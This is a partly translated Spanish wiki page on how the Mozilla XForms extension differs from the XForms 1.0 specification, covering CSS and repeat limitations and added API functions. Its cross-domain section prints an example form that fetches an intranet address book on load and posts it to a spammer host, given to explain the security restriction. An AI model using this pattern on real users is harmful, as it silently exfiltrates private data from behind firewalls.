Mozilla XForms Specials

Imagen:traduccion-pendiente.png Esta página está traduciéndose a partir del artículo XForms:Mozilla XForms Specials, razón por la cual puede haber algunos errores sintácticos o partes sin traducir. Puedes colaborar continuando con la traducción

Introducción

Este artículo dá una vista rápida sobre "dónde" se desvía la extensión Mozilla XForms respecto de la especificación oficial XForms 1.0 . Esto cubre ambas limitaciones, en la extensión y en extensiones personalizadas.

Limitaciones

Repetir usando atributos

Las especificaciones hacen mención ha "Creating Repeating Structures Via Attributes", esto es parcialmente soportadas.

(limitación registrada en bug 280368)

Combinando Repeat y table ó ul

No es posible combinar repeat ní con table ó ul. Esto significa que NO ES POSIBLE hacer lo siguiente:

<table>
  <xf:repeat ...>
    <tr> ... </tr>
  </xf:repeat>
</table>

ó

<ul>
  <xf:repeat ...>
    <li> ... </li>
  </xf:repeat>
</ul>

La sección 9.3.2 establece que las combinaciones con table probablemente nunca funcionarán. Las combinaciones con ul deben sufrir la misma limitación, aunque no deberían producir errores fatales como tampoco lo hace (bug 330022).

Soporte para Pseudo Clases

Actualmente soportamos todas las Pseudo Clases en XForms (:enabled, :disabled, etc. ), a excepción de :read-only y :read-write, por no tener un comportamiento no específico para (X)HTML. En su lugar se debe usar:-moz-read-only and :-moz-read-write, por el momento.

(limitación registrada en bug 313111)

Soporte de pseudo elementos

No se soportan los pseudo elementos (::value, ::repeat-item, y ::repeat-index ). En su lugar se deben usar las siguientes clases:

  • xf-value
  • xf-repeat-item
  • xf-repeat-index

Por ejemplo, para tomar el valor de un control input, hay que usar:

@namespace xf url("http://www.w3.org/2002/xforms");
xf|input .xf-value {
  ...
}

Los pseudo elementos están definidos en la Especificación de Interfaz Básico para el Usuario CSS3 .

(Limitation registrada en bug 271724)

Extensiones

Enumerando instancias

El elemento estandarizado nsIXFormsModelElement no permite enumerar todas las posibles instancias, sino sólo recuperar instancias por sus nombres. En la Extensión XForms de Mozilla hemos añadido una función getInstanceDocuments() a el modelo que retorna todas las instancias modelo del documento. Esto está documentado en nsIXFormsNSModelElement.

Obteniendo un elemento de instancia desde un nodo de dato

En la especificación XForms 1.0 no hay manera de conseguir el elemento instance desde la instancia de un nodo de dato. Hemos añadido una función a través de un llamado tipo getFeature() para cada nodo, lo que permite al autor del formulario hacer eso. Es decir: si instanceNode es un nodo dentro una instancia de un documento, entonces:

instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")

devolverá el elemento <instance> (dentro del documento principal) al cual pertenece el nodo.

Llegar a la instancia de documento desde la instancia de elemento

Según la especificación XForms 1.0 hay que usar el elemento model para obtener la instance del documento. Parece un poco torpe, cuando ya se dispone del elemento instance, así que hemos añadido una función getInstanceDocument() directamente en el elemento instance como un atajo. Esto está documentado en nsIXFormsNSInstanceElement.

Interfaz de control del usuario

Hemos añadido mucha funcionalidad a nuestro interfaz de usuario, lo cual permite al autor del formulario crear sus propios controles de usuario. Ello implica publicar algo de funcionalidad (en un script) en todos nuestros controles, como output, input, etc., y permitir que el interfaz de usuario se represente en XBL. Más información en XForms:Custom Controls.

Misc

Envíos cruzados a dominios

No es exactamente una limitación ni una extensión, pero es importante mencionarlo aquí. Por razones de seguridad, por fallo no es posible para un XForms enviar datos a otro dominio. Esto se por razones de seguridad. Información de como hacer una lista de confianza puede ser encontrada en la sección Release Notes

El chequeo de envío entre dominios además incluye formas cargadas desde file://. Las formas cargadas desde esa URL deberían ser archivos locales y de confianza, pero no siempre son el caso. Por esto no hay listas de confianza automáticas de archivos locales.

Si estás preguntándote porqué tenemos esta restricción, aquí hay un simple ejemplo del porqué:

<xforms:model>
  <xforms:instance src="http://intranetserver/addrbook.xml"/>
  <xforms:submission id="sub" action="http://megaspammer.com/gather"
                     method="post"/>
  <xforms:send submission="sub" ev:event="xforms-ready"/>
</xforms:model>

Esto traería algo que es accesible únicamente para tí (p.e. detrás de un cortafuegos) http://intranetserver/addrbook.xml, luego enviarlo a http://megaspammer.com/gather tan pronto como veas la XForm.

Etiquetas y colaboradores del documento

 Colaboradores en esta página: teoli, GUALY GAETE, Saturno, Jorolo
 Última actualización por: teoli,